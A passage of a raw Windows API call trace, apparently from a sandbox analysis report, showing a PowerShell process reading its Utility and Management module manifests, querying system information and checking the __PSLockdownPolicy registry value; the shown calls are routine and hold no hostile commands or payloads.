lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0276.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ded8) returned 1 [0276.221] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x36272e0 | out: lpFileInformation=0x36272e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x3f4261d7, ftLastWriteTime.dwHighDateTime=0x1d21d42, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0276.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de88) returned 1 [0276.222] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0276.222] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0276.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df68) returned 1 [0276.222] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0276.222] GetFileType (hFile=0x3c0) returned 0x1 [0276.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ded8) returned 1 [0276.223] GetFileType (hFile=0x3c0) returned 0x1 [0276.223] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x0 [0276.223] ReadFile (in: hFile=0x3c0, lpBuffer=0x36281e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x36281e0*, lpNumberOfBytesRead=0x1bb7df78*=0x982, lpOverlapped=0x0) returned 1 [0276.237] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x982 [0276.237] ReadFile (in: hFile=0x3c0, lpBuffer=0x36276b2, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x36276b2*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0276.237] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x982 [0276.237] ReadFile (in: hFile=0x3c0, lpBuffer=0x36281e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x36281e0*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0276.237] CloseHandle (hObject=0x3c0) returned 1 [0276.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0276.241] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0276.242] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0276.242] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0276.242] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.242] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9125726, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0276.242] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9125726, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0276.242] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0276.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de08) returned 1 [0276.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e028) returned 1 [0276.243] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0276.243] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.243] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ded8) returned 1 [0276.244] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x3640b60 | out: lpFileInformation=0x3640b60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9125726, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0276.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de88) returned 1 [0276.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df68) returned 1 [0276.244] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0276.244] GetFileType (hFile=0x3c0) returned 0x1 [0276.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ded8) returned 1 [0276.245] GetFileType (hFile=0x3c0) returned 0x1 [0276.245] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x0 [0276.246] ReadFile (in: hFile=0x3c0, lpBuffer=0x3641a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x3641a70*, lpNumberOfBytesRead=0x1bb7df78*=0x9e9, lpOverlapped=0x0) returned 1 [0276.247] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x9e9 [0276.247] ReadFile (in: hFile=0x3c0, lpBuffer=0x3640fa9, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x3640fa9*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0276.248] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x9e9 [0276.248] ReadFile (in: hFile=0x3c0, lpBuffer=0x3641a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x3641a70*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0276.248] CloseHandle (hObject=0x3c0) returned 1 [0276.252] CoCreateGuid (in: pguid=0x1bb7e198 | out: pguid=0x1bb7e198*(Data1=0xac16fd26, Data2=0x202, Data3=0x4e73, Data4=([0]=0x86, [1]=0x7d, [2]=0xaf, [3]=0x54, [4]=0x5d, [5]=0x4, [6]=0x24, [7]=0xb))) returned 0x0 [0276.253] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0 [0276.254] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3fc [0276.254] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x360 [0276.254] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f8 [0276.254] SetEvent (hEvent=0x3f8) returned 1 [0276.254] SetEvent (hEvent=0x3c0) returned 1 [0276.254] SetEvent (hEvent=0x3fc) returned 1 [0276.254] SetEvent (hEvent=0x360) returned 1 [0276.255] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x404 [0276.255] SetThreadUILanguage (LangId=0x0) returned 0x7ffffef0409 [0276.328] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x1bb7dd08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7dd08*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa7, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0276.328] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7dc00*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7dc00*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa6, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0276.328] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7dcf8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa7, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7dcf8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa7, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0276.346] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0276.347] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.347] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7d728) returned 1 [0276.347] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7da50 | out: lpFileInformation=0x1bb7da50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9125726, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0276.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7d6d8) returned 1 [0276.348] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0276.348] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.348] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.348] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x1bb7d5d0, Length=0x20, ResultLength=0x1bb7d688 | out: SystemInformation=0x1bb7d5d0, ResultLength=0x1bb7d688*=0x0) returned 0xc0000003 [0276.348] GetSystemInfo (in: lpSystemInfo=0x1bb7d6d0 | out: lpSystemInfo=0x1bb7d6d0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0276.349] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7d5d8 | out: phkResult=0x1bb7d5d8*=0x408) returned 0x0 [0276.349] RegQueryValueExW (in: hKey=0x408, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x1bb7d628, lpData=0x0, lpcbData=0x1bb7d620*=0x0 | out: lpType=0x1bb7d628*=0x0, lpData=0x0, lpcbData=0x1bb7d620*=0x0) returned 0x2 [0276.349] RegCloseKey (hKey=0x408) returned 0x0 [0276.349] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.349] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7d558) returned 1 [0276.350] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408 [0276.350] GetFileType (hFile=0x408) returned 0x1 [0276.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7d4c8) returned 1 [0276.350] GetFileType (hFile=0x408) returned 0x1 [0276.350] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7d4e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7d4e8*=0) returned 0x0 [0276.350] ReadFile (in: hFile=0x408, lpBuffer=0x36947e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7d568, lpOverlapped=0x0 | out: lpBuffer=0x36947e0*, lpNumberOfBytesRead=0x1bb7d568*=0x9e9, lpOverlapped=0x0) returned 1 [0276.351] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7d4e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7d4e8*=0) returned 0x9e9 [0276.351] ReadFile (in: hFile=0x408, lpBuffer=0x3693d19, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x1bb7d568, lpOverlapped=0x0 | out: lpBuffer=0x3693d19*, lpNumberOfBytesRead=0x1bb7d568*=0x0, lpOverlapped=0x0) returned 1 [0276.351] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7d4e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7d4e8*=0) returned 0x9e9 [0276.351] ReadFile (in: hFile=0x408, lpBuffer=0x36947e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7d568, lpOverlapped=0x0 | out: lpBuffer=0x36947e0*, lpNumberOfBytesRead=0x1bb7d568*=0x0, lpOverlapped=0x0) returned 1 [0276.351] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x1bb7d4d0, Length=0x20, ResultLength=0x1bb7d588 | out: SystemInformation=0x1bb7d4d0, ResultLength=0x1bb7d588*=0x0) returned 0xc0000003 [0276.352] GetSystemInfo (in: lpSystemInfo=0x1bb7d5d0 | out: lpSystemInfo=0x1bb7d5d0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0276.352] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7d4d8 | out: phkResult=0x1bb7d4d8*=0x40c) returned 0x0 [0276.352] RegQueryValueExW (in: hKey=0x40c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x1bb7d528, lpData=0x0, lpcbData=0x1bb7d520*=0x0 | out: lpType=0x1bb7d528*=0x0, lpData=0x0, lpcbData=0x1bb7d520*=0x0) returned 0x2 [0276.352] RegCloseKey (hKey=0x40c) returned 0x0 [0276.352] CloseHandle (hObject=0x408) returned 1 [0276.355] CoCreateGuid (in: pguid=0x1bb7d6a8 | out: pguid=0x1bb7d6a8*(Data1=0xdfe965a4, Data2=0xee48, Data3=0x403f, Data4=([0]=0x82, [1]=0xd8, [2]=0xd1, [3]=0x60, [4]=0xc0, [5]=0xda, [6]=0x30, [7]=0x46))) returned 0x0 [0276.355] QueryPerformanceCounter (in: lpPerformanceCount=0x1bb7d0d8 | out: lpPerformanceCount=0x1bb7d0d8*=1191733258177) returned 1 [0276.355] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7cd18) returned 1 [0276.356] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7d040 | out: lpFileInformation=0x1bb7d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9125726, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0276.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ccc8) returned 1 [0276.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.356] GetFullPathNameW (in: 